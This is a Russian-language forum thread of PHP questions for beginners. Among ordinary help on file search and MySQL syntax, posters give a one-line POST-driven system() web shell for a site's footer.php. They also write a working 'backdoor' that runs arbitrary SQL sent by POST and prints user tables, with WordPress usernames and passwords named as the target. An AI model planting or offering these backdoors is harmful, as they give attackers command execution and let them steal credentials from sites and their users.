[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Germes250 http://php.net/implode
     
    _________________________
  2. h00lyshit!

    h00lyshit! [From Nobody To Root]

    Joined:
    10 Sep 2009
    Messages:
    289
    Likes Received:
    290
    Reputations:
    195
    Тогда пропиши заголовок
    Content-Type: application-x-www/form-urlencoded
     
  3. AnGeI

    AnGeI Elder - Старейшина

    Joined:
    8 Dec 2008
    Messages:
    395
    Likes Received:
    79
    Reputations:
    16
    SergioBlog, потренируйтесь на залитом скрипте с print_r($_POST).
     
    #19483 AnGeI, 4 Nov 2011
    Last edited: 4 Nov 2011
  4. SergioBlog

    SergioBlog New Member

    Joined:
    21 Jan 2011
    Messages:
    10
    Likes Received:
    2
    Reputations:
    0
    Всё ок разобрался. Как только избавиться от ворнингов?
    Warning: system() [function.system]: Cannot execute a blank command in /путькскрипту/footer.php on line 16
     
  5. h00lyshit!

    h00lyshit! [From Nobody To Root]

    Joined:
    10 Sep 2009
    Messages:
    289
    Likes Received:
    290
    Reputations:
    195
    <? @system($_POST['wp']); ?>
     
    1 person likes this.
  6. SergioBlog

    SergioBlog New Member

    Joined:
    21 Jan 2011
    Messages:
    10
    Likes Received:
    2
    Reputations:
    0
    h00lyshit!, спасибо!)
    Реально ли в несколько строк набросать бекдор для работы с mysql через post запросы?
    Я не могу додуматься как через фукнцию mysql_result можно вывести результат любого запроса. Т.е. к примеру чтобы он мог выполнять запросы вида select id,username,password from wp.users limit 0,5.
    Там где будет много данных на выходе.
    У меня получилась такая каша:
    PHP:
    $host='localhost';
    $database='db';
    $user='user';
    $pswd='pass';
     
    $dbh mysql_connect($host$user$pswd) or die("Не могу соединиться с MySQL.");
    mysql_select_db($database) or die("Не могу подключиться к базе.");
    $query $_POST['haxorquery'];
    $res mysql_query($query);
    while(
    mysql_fetch_array($res)){
    echo 
    mysql_result($res,wp_users);
    Но он выводит только по одному полю + я не до конца понимаю зачем указывать имя таблицы в аргументе mysql_result :)
    Буду благодарен если разъясните)
     
  7. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    PHP:
    <?php

     $host
    ='localhost'
    $database='db'
    $user='user'
    $pswd='pass'
      
    $dbh mysql_connect($host$user$pswd) or die("Не могу соединиться с MySQL."); 
    mysql_select_db($database) or die("Не могу подключиться к базе."); 
    $query $_POST['haxorquery']; 
    $res mysql_query($query); 

    echo 
    '<PRE>';

    while(
    $result mysql_fetch_assoc($res))
    {
        
    print_r($result);
    }

    ?>
     
    1 person likes this.
  8. mistermar

    mistermar New Member

    Joined:
    5 Jan 2009
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Парни, подскажите пож уже готовый скрипт или где мне инфу поискать. Нужен скрипт который мог бы искать в .php .txt файлах искать текст. к примеру мне нужно найти файлы с записями "localhost". в той папке где лежит скрипт и в подпапках. Если кто поможет готов вознагродить $.
     
  9. Boolean

    Boolean Elder - Старейшина

    Joined:
    5 Sep 2010
    Messages:
    147
    Likes Received:
    83
    Reputations:
    78
    Пишется за пару минут. ;)
    PHP:
    <?php
    /**
     * @author Boolean
     * @copyright 2011
     */
     
    /**
     * Директория с файлами для поиска.
     */
    $directory  './mg1.4/';

    /**
     * Искомый запрос.
     */
    $query      'localhost';

    /**
     * Расширения файлов для поиска.
     */
    $fpattern   = array('php',  'txt');

    /** ******************************************************************** **/
    /** ******************************************************************** **/

    header('Content-Type: text/plain; charset=windows-1251');
    ob_implicit_flush();
    set_time_limit(0);

    start($directory);


    function 
    start($folder){
        global 
    $query$fpattern;
        
    $dir opendir($folder);
        while(
    $file readdir($dir)){
            if(
    $file != '.' && $file != '..'){
                if(
    is_dir($folder $file))
                    
    start($folder $file '/');
                elseif(
    is_readable($folder $file)){
                    
    $f  explode('.',  $folder $file);
                    if(
    in_array($f[count($f) - 1], $fpattern))
                        if(
    preg_match('/' preg_quote($query) . '/is'file_get_contents($folder $file)))
                            print 
    "{$folder}{$file}\n";    
                }                    
            }        
        }
    }

    ?>
    Результат:
    Code:
    ./mg1.4/settings/conf.php
    ./mg1.4/settings/database.php
    ./mg1.4/dumper.php
    ./mg1.4/install.php
    
     
  10. Gvidion

    Gvidion Elder - Старейшина

    Joined:
    11 Sep 2009
    Messages:
    79
    Likes Received:
    43
    Reputations:
    28
    Только разбираюсь с запросами MySQL через PHP, что тут не так?

    PHP:
    mysql_query("
    CREATE TABLE reg (name TYNYTEXT NOT NULL UNIQUE)
    "
    );
    Выдаёт:
     
  11. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886

    не TYNY а TINY
     
    _________________________
  12. Gvidion

    Gvidion Elder - Старейшина

    Joined:
    11 Sep 2009
    Messages:
    79
    Likes Received:
    43
    Reputations:
    28
    А теперь?
    PHP:
    mysql_query("
    CREATE TABLE reg (name TINYTEXT(16) NOT NULL UNIQUE)
    "
    );
    Напишите пожалуйста как правильно создать поле name в котором могут быть только уникальные значения.
     
  13. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    PHP:
    CREATE TABLE reg (name varchar(16NOT NULL UNIQUE)
     
    _________________________
  14. Gvidion

    Gvidion Elder - Старейшина

    Joined:
    11 Sep 2009
    Messages:
    79
    Likes Received:
    43
    Reputations:
    28
    Спасибо, а почему с ТИНИТЕКСТ не получалось?
     
  15. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    без разницы, но для поля name не советую tinytext

    ps. tinytext не принимает длину в скобках
     
    _________________________
  16. Gvidion

    Gvidion Elder - Старейшина

    Joined:
    11 Sep 2009
    Messages:
    79
    Likes Received:
    43
    Reputations:
    28
    Спасибо, если убрать скобки с длинной в тинитексте выдаёт следующее:
     
  17. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Gvidion для tinytext жестко задана длина поля - 255 символов.

    Для текстовых полей при создании индекса нужно задавать длину префикса, по которому будет построен индекс.

    Вопросы по БД прошу задавать в соответствующем разделе
     
    _________________________
  18. Gvidion

    Gvidion Elder - Старейшина

    Joined:
    11 Sep 2009
    Messages:
    79
    Likes Received:
    43
    Reputations:
    28
    Покажите пожалуйста правильный пример задания уникального тинитекст, ок извиняюсь, не буду впредь в этой теме по БД спрашивать.
     
  19. AnGeI

    AnGeI Elder - Старейшина

    Joined:
    8 Dec 2008
    Messages:
    395
    Likes Received:
    79
    Reputations:
    16
    1) Прочитал мануал по вводу строк методом Heredoc/Nowdoc, при описании строк этими методами используются метки (EOD, EOT, LABEL), как оказалось, произвольные. Для чего нужны эти метки, какую роль играет ихнее название?
    2) Как запустить php скрипт из командной строки (unix) в режиме выполнения и вывода (E_ALL), например, в файл, не меняя сам скрипт (даже если там вывод ошибок отключен)?
     
    #19499 AnGeI, 5 Nov 2011
    Last edited: 5 Nov 2011
  20. bad_boy

    bad_boy Elder - Старейшина

    Joined:
    30 Dec 2004
    Messages:
    187
    Likes Received:
    33
    Reputations:
    3
    AnGeI
    1) Ну должен же интерпретатор понять откуда начать вывод текста и где закончить?!
    2) php script.php > /etc/home/angei/log.txt

    На счёт второго не совсем уверен, могу и ошибаться.
     
    1 person likes this.
Thread Status:
Not open for further replies.